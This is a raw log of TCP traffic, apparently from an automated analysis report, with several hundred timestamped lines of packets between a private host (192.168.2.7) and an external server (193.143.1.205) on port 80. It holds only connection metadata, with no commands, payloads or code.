Jan 10, 2025 18:35:25.855047941 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855051041 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855066061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855082989 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855106115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855120897 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855128050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855135918 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855144978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855146885 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855160952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855192900 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855195045 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855222940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855225086 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855240107 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855241060 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855259895 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855276108 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855285883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855293036 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855309010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855365038 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855367899 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855367899 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855381012 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855396986 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855412960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855429888 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855431080 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855463028 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855474949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855490923 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855508089 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855524063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855539083 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855541945 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855561018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855575085 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855582952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855593920 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855614901 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855624914 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855631113 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855647087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855664015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855675936 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855679035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855695009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855726957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855741978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855742931 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855742931 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855756998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855773926 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855793953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855794907 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855812073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855825901 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855828047 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855843067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855859041 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855859041 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855875015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855892897 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855895042 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855910063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855914116 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855951071 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.863791943 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.904746056 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904782057 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904814005 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904844999 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904865980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904882908 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904915094 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904927015 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.904931068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904927015 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.904944897 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904962063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.904973984 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.904973984 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905050993 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905092001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905121088 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905137062 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905154943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905164957 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905170918 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905195951 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905739069 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905775070 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905798912 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905803919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905832052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905848980 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905869007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905888081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905906916 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905921936 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905936956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905951023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905958891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905961037 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.905973911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905991077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.905996084 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906043053 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906044006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906063080 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906078100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906096935 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906110048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906125069 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906126022 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906140089 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906157970 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906193018 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906230927 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906269073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906286001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906301975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906318903 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906347036 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906352997 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906366110 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906368017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906383038 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906399965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906407118 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906420946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906445980 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.906450987 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906469107 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.906498909 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.910518885 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939342976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939359903 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939390898 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939420938 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939429045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939445972 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939461946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939471006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939502001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939503908 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939502001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939519882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939536095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939543962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939574957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939575911 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939575911 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939593077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939608097 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939610004 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939625978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939640045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.939661026 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.939680099 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940304041 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940337896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940352917 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940357924 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940377951 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940416098 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940418005 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940432072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940447092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940462112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940470934 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940493107 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940588951 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940622091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940639019 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940644026 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940682888 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940696955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940712929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940728903 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940768003 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940789938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940808058 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940821886 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940840006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940845013 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940870047 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940871954 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940887928 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940901995 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940917015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940924883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940924883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940957069 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940967083 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.940972090 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.940990925 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941004992 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941020012 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941024065 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941049099 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941076994 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941090107 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941097975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941113949 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941128969 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941162109 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941176891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941185951 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941193104 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941207886 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941222906 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941225052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941243887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941262960 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941267014 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941307068 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941312075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941344023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941361904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941365957 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941391945 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941406965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941406965 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941421986 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941437960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941451073 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941452980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941463947 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941498995 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941514969 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941530943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941538095 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941546917 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941579103 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941581011 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941596031 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941611052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941628933 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941632032 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941658974 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941667080 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941682100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941695929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941721916 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.941729069 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.941757917 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.982711077 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.991734982 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991755009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991771936 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991799116 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.991823912 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.991856098 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991872072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991908073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991938114 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.991938114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991975069 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.991988897 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.991997957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992013931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992029905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992046118 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992052078 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992062092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992078066 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992090940 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992093086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992110014 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992146015 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992146015 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992636919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992690086 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992702007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992808104 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992824078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992840052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992856026 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992862940 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992897987 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992909908 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992965937 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.992970943 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.992981911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993017912 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993032932 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993062019 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993077040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993103027 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993127108 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993159056 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993182898 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993185043 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993199110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993227005 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993227959 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993242979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993268967 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993278980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993294001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993334055 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993336916 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993351936 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993377924 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993380070 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993402004 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993418932 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993429899 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993443966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993459940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993472099 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993477106 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993494034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993504047 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993520021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993534088 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993535995 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.993550062 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.993655920 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.026249886 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026313066 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.026324034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026340961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026360989 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026396036 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026397943 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.026412010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026444912 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026449919 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.026462078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026480913 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026495934 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.026501894 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026519060 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026524067 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:26.026527882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:26.026563883 CET	49702	80	192.168.2.7	193.143.1.205
